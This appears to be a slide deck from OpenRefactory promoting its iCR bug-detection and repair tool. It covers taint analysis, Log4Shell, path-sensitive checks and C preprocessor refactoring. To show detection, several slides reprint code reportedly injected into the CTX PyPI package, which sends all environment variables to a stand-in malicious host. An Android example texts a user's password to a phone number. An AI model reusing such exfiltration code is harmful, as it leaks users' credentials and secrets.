Protecting From The Catastrophic Risks of Software Failure

Key Innovations

Munawar Hafiz, CEO, OpenRefactory
About Myself

Ph.D. from UIUC
Formative work on feasibility of fixing security automatically

Assistant Professor at Auburn
First research on practical bug fixing tools. Best Student Research in all disciplines of CS in 2013 (Awarded at the Turing Award Event)

Senior Soft. Eng. at Coverity
Team released first commercial vulnerability detection tools for JavaScript and Android

OpenRefactory CEO
Started OpenRefactory with seed money awarded by the National Science Foundation
Bug Fixing is Slower than Bugs Introduced

15,000 bugs remain unfixed, on average, for every 1,000,000 lines of released code

50% of bugs remain unfixed for over a year

90 days to close resolved bugs, on average

Over 100 security vulnerabilities reported every week in the National Vulnerability Database (NVD)

Bugs are created faster than can be detected and repaired manually

Data from - Coralogix Research; Code Complete; IEEE TSE; Springer
Detection Tools Fall Short

Miss Critical Bugs

Report 50% to 90% False Positives

Manual Fixing Reintroduces Errors

Consequences
- Missed deadlines
- Budget overruns
- Recurring security breaches
Automated Fixing is the Future

OpenRefactory’s Intelligent Code Repair (iCR)

- Finds more critical bugs
- Less than 5% false positives
- Automatically fixes bugs in your codebase

- Developers get their life back
- Companies can deliver high quality software on time and within budget
Precision Matters

• iCR versus Tool 1 on benchmark applications
  - SAMATE Benchmark; Juliet 1.3
  - Created by NIST, DHS and DoD
  - 9,575 files with 1.8M Lines of Code (LoC)

• Compare head-to-head against high severity vulnerabilities
  - CWE-78: OS Command Injection
  - CWE-80: Cross-Site Scripting (XSS)
  - CWE-89: SQL Injection
  - CWE-90: LDAP Injection
  - CWE-369: Divide by Zero
  - CWE-476: Null Pointer Dereference
Head-to-Head on Benchmark

High Severity Bugs Detected vs Other Reported Bugs

- Tool 1 produced 140,000 warnings that are False Positives or “Won’t Fix”
- iCR detected more True Positive bugs than Tool 1 in ALL cases
I think the CTX package on PyPI has been hacked!

There was a post here recently about an update to the CTX package. A simple package that allows you to access dictionary items using the dot notation (a_dict['key'] becomes a_dict.key). The post is here and OP was SocketPuppets.

That package had not changed in 8 years. The OP said it was recently updated, and on PyPI it was updated as of May 21st. But the Github repo does not reflect any changes (it is still 8 years old). When asked about it OP said it was copied to a corporate repo and that he would update the original repo.

Out of curiosity I downloaded the source code from PyPI and look what I found! It seems like every time you create a dictionary it sends all your environment variables to a URL. That's not kosher.
Introduced Malicious Code

```python
# Collect environment variables
# and send them to a malicious site.

import base64
from os import environ
import requests

def send_request():
    string = ""
    for _, value in environ.items():
        string += value + " "

    message_bytes = string.encode('ascii')
    base64_bytes = base64.b64encode(message_bytes)
    base64_message = base64_bytes.decode('ascii')

    response = requests.get("https://malicious-site.com/" + base64_message, timeout=600)
    return response
```
Attack Vector Not Considered

Tool 1

Tool 2
iCR Detects the Bug

*************** OpenRefactory Warning ****************

Possible Sensitive Data Leakage!
Path:

File: test.py, Line: 11
    PyCallExpression: environ.items
    Tainted information passed through a method invocation.

File: test.py, Line: 12
    string += value + " "
    Variable string is assigned a tainted value.

File: test.py, Line: 14
    message_bytes = string.encode('ascii')
    Variable message_bytes is assigned a tainted value which is passed through a method invocation.

File: test.py, Line: 15
    base64_bytes = base64.b64encode(message_bytes)
    Variable base64_bytes is assigned a tainted value which is passed through a method invocation.

File: test.py, Line: 16
    base64_message = base64_bytes.decode('ascii')
    Variable base64_message is assigned a tainted value which is passed through a method invocation.

File: test.py, Line: 18
    response = requests.get("https://malicious-site.com/" + base64_message, timeout=600)
    Tainted information is used in a sink.

response = requests.get("https://malicious-site.com/" + base64_message, timeout=600)
Following the Taint

```python
# Collect environment variables
# and send them to a malicious site.

import base64
from os import environ
import requests

def send_request():
    string = ""
    for _, value in environ.items():
        string += value + " "

    message_bytes = string.encode('ascii')
    base64_bytes = base64.b64encode(message_bytes)
    base64_message = base64_bytes.decode('ascii')

    response = requests.get("https://malicious-site.com/" + base64_message, timeout=600)
    return response
```

Abstract Heap

- `string` → `*""`
Fresh Location for a Library Method Call

Abstract Heap

```python
# Collect environment variables
# and send them to a malicious site.

import base64
from os import environ
import requests

def send_request():
    string = ""
    for _, value in environ.items():
        string += value + " "

    message_bytes = string.encode('ascii')
    base64_bytes = base64.b64encode(message_bytes)
    base64_message = base64_bytes.decode('ascii')

    response = requests.get("https://malicious-site.com/" + base64_message, timeout=600)
    return response
```
Taint Originating from a Method Call

```python
# Collect environment variables
# and send them to a malicious site.

import base64
from os import environ
import requests

def send_request():
    string = ""
    for _, value in environ.items():
        string += value + " "

    message_bytes = string.encode('ascii')
    base64_bytes = base64.b64encode(message_bytes)
    base64_message = base64_bytes.decode('ascii')

    response = requests.get("https://malicious-site.com/" + base64_message, timeout=600)
    return response
```

Abstract Heap

string → ""

fresh_1 → *fresh_1

(Red denotes a tainted location)
# Collect environment variables
# and send them to a malicious site.

```python
import base64
from os import environ
import requests

def send_request():
    string = ""
    for _, value in environ.items():
        string += value + " "

    message_bytes = string.encode('ascii')
    base64_bytes = base64.b64encode(message_bytes)
    base64_message = base64_bytes.decode('ascii')

    response = requests.get("https://malicious-site.com/" + base64_message, timeout=600)
    return response
```

Abstract Heap:
- `string` connected to `*""`
- `fresh_1` connected to `*fresh_1`
- `value` connected to `*fresh_2`
# Collect environment variables
# and send them to a malicious site.

import base64
from os import environ
import requests

def send_request():
    string = ""
    for _, value in environ.items():
        string += value + " "

    message_bytes = string.encode('ascii')
    base64_bytes = base64.b64encode(message_bytes)
    base64_message = base64_bytes.decode('ascii')

    response = requests.get("https://malicious-site.com/" + base64_message, timeout=600)
    return response
Taint Passing Through Method Call

```python
# Collect environment variables
# and send them to a malicious site.

import base64
from os import environ
import requests

def send_request():
    string = ""
    for _, value in environ.items():
        string += value + " "

    message_bytes = string.encode('ascii')
    base64_bytes = base64.b64encode(message_bytes)
    base64_message = base64_bytes.decode('ascii')

    response = requests.get("https://malicious-site.com/" + base64_message, timeout=600)
    return response
```
Taint Passing Through Method Call

```python
# Collect environment variables
# and send them to a malicious site.

import base64
from os import environ
import requests

def send_request():
    string = ""
    for _, value in environ.items():
        string += value + " ",

    message_bytes = string.encode('ascii')
    base64_bytes = base64.b64encode(message_bytes)
    base64_message = base64_bytes.decode('ascii')

    response = requests.get("https://malicious-site.com/" + base64_message, timeout=600)
    return response
```

Abstract Heap

- string → *fresh_3
- fresh_1 → *fresh_1
- value → *fresh_2
- message_bytes → *fresh_4
- base64_bytes → *fresh_5
Taint Passing Through Method Call

```python
# Collect environment variables
# and send them to a malicious site.

import base64
from os import environ
import requests

def send_request():
    string = ""
    for _, value in environ.items():
        string += value + " "

    message_bytes = string.encode('ascii')
    base64_bytes = base64.b64encode(message_bytes)
    base64_message = base64_bytes.decode('ascii')

    response = requests.get("https://malicious-site.com/" + base64_message, timeout=600)
    return response
```

Abstract Heap

- string \(\rightarrow\) *fresh_3
- fresh_1 \(\rightarrow\) *fresh_1
- value \(\rightarrow\) *fresh_2
- message_bytes \(\rightarrow\) *fresh_4
- base64_bytes \(\rightarrow\) *fresh_5
- base64_message \(\rightarrow\) *fresh_6
Sensitive Data Leak

```python
# Collect environment variables
# and send them to a malicious site.

import base64
from os import environ
import requests

def send_request():
    string = ""
    for _, value in environ.items():
        string += value + " ">

    message_bytes = string.encode(\'ascii\')
    base64_bytes = base64.b64encode(message_bytes)
    base64_message = base64_bytes.decode(\'ascii\')

    response = requests.get("https://malicious-site.com/" + base64_message, timeout=600)
    return response
```

---

Abstract Heap

- `string` → *fresh_3
- `fresh_1` → *fresh_1
- `value` → *fresh_2
- `message_bytes` → *fresh_4
- `base64_bytes` → *fresh_5
- `base64_message` → *fresh_6
Log4Shell Vulnerability - Dec 2021

Vulnerability in log4J application

Four CVEs: CVE-2021-44228, CVE-2021-45046, CVE-2021-45105, CVE-2021-44832

Attacker can remotely control with text messages

LDAP Injection Vulnerability
iCR Detects Log4Shell

31 method calls deep

50 polymorphic variations for one method call

One SCC in the call graph

Takes 10+ hours and some configuration tweaks from the mainstream version
Keeping a Check on False Positives

Tracking the Paths in Code

- Too Many Paths in Code
- Invisible Paths in Code
- Polyglot Programs
Paths Under Same Constraints

```java
public class Test{
    I i;
    
    public void foo(String []args){
        J j = null;
        if (i != null) {
            j = new J();
        }
        if (i != null) {
            j.bar();
        }
    }
}
```

Safe !!
Paths Under Opposite Constraints

```java
public class Test{
    I i;
    
    public void foo(String[] args){
        J j = null;
        if (i != null) {
            j = new J();
        }
        if (i == null) {
            j.bar();
        }
    }
}
```

Unsafe !!
public class Test{
    int i;

    public void foo(String []args){
        J j = null;
        if (i > 10 && i <= 25) {
            j = new J();
        }
        if (i > 20 && i <= 23) {
            j.bar();
        }
    }
}

Safe !!
Constraints That Cannot Be Solved

```java
public class Test{
    int i;

    public void foo(String []args){
        J j = null;
        for (int k = 0; k < someMethod(); k++) {
            if (k == 23) {
                j = new J();
            }
        }
        if (i <= someMethod()) {
            j.bar();
        }
    }
}
```

Safe ????
Java Frameworks
Frameworks Have Hidden Paths

```java
public class Global {
    public static String s;
}

public class Z {
    Thread demo;
    public void foo() {
        MultithreadingDemo runnable = new MultithreadingDemo();
        Global.s = new String();
        demo = new Thread(runnable);
        demo.start();
    }
}

class MultithreadingDemo implements Runnable {
    public void run() {
        System.out.println("Thread running");
        Global.s.length();
    }
}
```
A Simple Android Code

public class LeakageApp extends Activity{

    private User user = null;
    protected void onRestart (){
        EditText usernameText = (EditText)findViewById(R.id .username);
        EditText passwordText = (EditText)findViewById(R.id .pwdString);

        String uname = usernameText.toString ();
        String pwd = passwordText.toString ();

        if(!uname.isEmpty () && !pwd.isEmpty ()) {
            this.user = new User(uname, pwd);
        }
    }

    ...

    The field “pwd” inside “user” is tainted
public class LeakageApp extends Activity {

    ...

    public void sendMessage(View view)
    {
        if (user == null) {
            return;
        }
        Password pwd = user.getPwd();
        String pwdString = pwd.getPassword();
        String temp = ""
        for (char c : pwdString.toCharArray()) {
            temp += c + "_";
        }
        String message = "User: " +
                        user.getName() + " | Pwd: " + temp;
        SmsManager sms = SmsManager.getDefault();
        sms.sendTextMessage("+1 217 722 1721",
                            null, message, null, null);
    }
}
Hidden Paths

Android Activity life cycle paths should be considered
public class LeakageApp extends Activity{

...

    public void sendMessage(View view){
        if (user == null) {
            return;
        }
        Password pwd = user.getPwd();
        String pwdString = pwd.getPassword();
        String temp = ""
        for (char c : pwdString.toCharArray()) {
            temp += c + "_";
        }
        String message = "User: " + 
            user.getName() + " | Pwd: " + temp;
        SmsManager sms = SmsManager.getDefault();
        sms.sendTextMessage("+1 217 722 1721",
            null, message, null, null);
    }
}
Fixing Bugs Automatically

Challenges

- Behavior-enhancing transformations
- Conservative, yet effective, changes
- Transformation in languages such as C are not practical (yet).
C Preprocessor Directives (CPP)

**#define** - Defines a macro

```c
#define NAME main
int NAME() {
    return 0;
}
```

is preprocessed into

```c
int main() {
    return 0;
}
```

**#ifdef** - Includes a line only if a macro is defined

```c
int a;
#ifdef LINUX
    int b;
#endif
```

may be preprocessed into

```c
int a;
int b;
```

or

```c
int a;
```
C Program Transformation with Macros

```c
int variable2 = 10

int main(){
    #define variable1 10
    #define variable2 20
    printf ("variable1 is \%d\n", variable1);
    printf ("variable2 is \%d\n", variable2);
    return 0;
}
```
int variable2 = 10
    printf ("variable2 is %d\n", variable2);
int main()
{
    #define variable1 10
    #define variable2 20
    printf ("variable1 is %d\n", variable1);

    return 0;
}

Definition of variable2 changes
Rethinking Abstract Syntax Trees

Observation 1:
The structure of the AST represents the code after preprocessing has been applied.

Observation 2:
The C preprocessor is completely oblivious to the syntactic structure of a program.

Superimpose a preprocessor’s view of the file onto the AST.
```c
#ifdef __linux
    #undef BTRFS_IOCTL_MAGIC
    #define BTRFS_IOCTL_MAGIC 0x94
    #undef BTRFS_IOC_CLONE
    #define BTRFS_IOC_CLONE _IOW (BTRFS_IOCTL_MAGIC, 9, int)
    return ioctl(dest_fd, BTRFS_IOC_CLONE, src_fd);
#else
    ...
#endif
```
```c
#ifdef __linux
    #undef BTRFS_IOCTL_MAGIC
    #define BTRFS_IOCTL_MAGIC 0x94
    #undef BTRFS_IOC_CLONE
    #define BTRFS_IOC_CLONE _IOW (BTRFS_IOCTL_MAGIC, 9, int)
    return ioctl (dest_fd, BTRFS_IOC_CLONE, src_fd);
#else
#endif

#ifdef A
    #define B 0
    #define C B
    return C;
#else
#endif
```
Preprocessor directives are stored like comments
**Representing C with #ifdef-s**

```
227  #ifdef A
229   # define B 0
231   # define C B
232       return C;
233   #else
234       ;
238  #endif
```

Consider all of the tokens present in the tree
CPP View of the File

Construct the preprocessor’s view of the file from the AST
Parts in a File

- **Text Line** - A line of text (C code)
- **Control Line** - `#define`
- **If Section** - An `#ifdef` - Other parts are nested under it
Correctness As Semantic Preservation

Observation 1: The preprocessor must be considered while checking behavior preservation.

Observation 2: Dependence relationship among CPP constructs must be identified and preserved.

Introduce the concept of preprocessor dependence and use it in behavior preservation check.
Refactoring with Preprocessors

Cannot move parts arbitrarily

- Move `return C;` outside the `#ifdef`.
- Move `#define C B` above the `#define B 0`.

### Parts
- Control Line
- Control Line
- Text Line

### Control Line
- `#ifdef A`  
- `#define B 0`
- `#define C B`
- `return C;`
- `#else`
- `;`
- `#endif`

### Text Line
- `#ifdef A`
- `#define B 0`
- `#define C B`
- `return C;`
- `#else`
- `;`
- `#endif`
Storing Dependences

Record dependences among parts

```c
#ifdef A
#define B 0
#define C B
return C;
#else
;
#endif
```
Control Dependences

This part must be inside the #ifdef
The macro use might refer to this `#define`
#ifdef A
#define B 0
#define C B
return C;
#else
#endif

Preprocessor Dependence Dependence Graph (PPDG)

PPDG = Control + Macro Dependences
Refactoring with Preprocessors

```c
#include <stdio.h>

int main() {
    #ifdef A
    #define B 0
    #define C B
    return C;
    #else
    return C;
    #endif
}
```

Cannot move parts arbitrarily

- Move `return C;` outside the `#ifdef`
Refactoring with Preprocessors

```
227  #ifdef A
229    # define B 0
231    # define C B
232    return C;
233    #else
234        ;
238    #endif
```

Cannot move parts arbitrarily

- Move `#define C B` above the `#define B 0`
The Future Of Bug Fixing
Making Collections Classes Energy Efficient
Measuring Energy Footprint of Collections Class Operations
Energy Footprint of Collections Class Operations

Insertion At The Beginning

Insertion At The End
## Comparison

<table>
<thead>
<tr>
<th></th>
<th>Insertion</th>
<th>Iteration</th>
<th>Random Access</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>At Beginning</td>
<td>At Middle</td>
<td>At End</td>
</tr>
<tr>
<td>ArrayList</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>TIntArrayList</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>LinkedList</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>TIntLinkedList</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>TreeList</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**Rank (best - worst):**

1. ArrayList
2. TIntArrayList
3. LinkedList
4. TIntLinkedList
5. TreeList
6. None
## Tuning Applications

<table>
<thead>
<tr>
<th>Program</th>
<th>KLOC</th>
<th>Collections</th>
<th>ArrayList</th>
<th>LinkedList</th>
<th># Changes</th>
<th>Changes in Energy Consumption</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>Good</td>
<td>Bad</td>
</tr>
<tr>
<td>Google Gson</td>
<td>29</td>
<td>100</td>
<td>53</td>
<td>7</td>
<td>0</td>
<td>51</td>
</tr>
<tr>
<td>Apache Commons Math</td>
<td>346</td>
<td>461</td>
<td>258</td>
<td>2</td>
<td>0</td>
<td>246</td>
</tr>
<tr>
<td>XStream</td>
<td>64</td>
<td>324</td>
<td>161</td>
<td>1</td>
<td>0</td>
<td>153</td>
</tr>
<tr>
<td>K-9 Mail</td>
<td>77</td>
<td>294</td>
<td>148</td>
<td>21</td>
<td>4</td>
<td>125</td>
</tr>
<tr>
<td>Apache Commons Configuration</td>
<td>76</td>
<td>154</td>
<td>69</td>
<td>12</td>
<td>12</td>
<td>0</td>
</tr>
<tr>
<td>Stock Exchange Trading Simulator</td>
<td>11</td>
<td>14</td>
<td>0</td>
<td>8</td>
<td>8</td>
<td>0</td>
</tr>
</tbody>
</table>
Other Lessons Learned

- Slow is not bad, if precise
- Reuse concept, keep code separate
- Do not build everything from scratch
- Look to fix practical problems, not challenging problems
- Reduce friction in adopting tools
- Protect customer IP